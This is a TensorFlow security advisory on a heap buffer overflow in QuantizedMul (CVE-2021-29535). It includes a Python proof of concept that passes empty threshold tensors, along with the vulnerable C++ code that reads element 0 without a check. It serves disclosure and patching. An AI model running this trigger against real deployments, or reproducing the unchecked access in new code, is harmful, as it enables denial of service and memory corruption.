Heap buffer overflow in `QuantizedMul`

Low mihaimaruseac published GHSA-m3f9-w3p3-p669 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a heap buffer overflow in `QuantizedMul` by passing in invalid thresholds for the quantization:

```
import tensorflow as tf

x = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
y = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
min_x = tf.constant([], dtype=tf.float32)
max_x = tf.constant([], dtype=tf.float32)
min_y = tf.constant([], dtype=tf.float32)
max_y = tf.constant([], dtype=tf.float32)

tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)
```

This is because the implementation assumes that the 4 arguments are always valid scalars and tries to access the numeric value directly:

```
const float min_x = context->input(2).flat<float>()(0);
const float max_x = context->input(3).flat<float>()(0);
const float min_y = context->input(4).flat<float>()(0);
const float max_y = context->input(5).flat<float>()(0);
```

However, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.

Patches

We have patched the issue in GitHub commit efea03b38fb8d3b81762237dc85e579cc5fc6e87.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29535

Weaknesses

No CWEs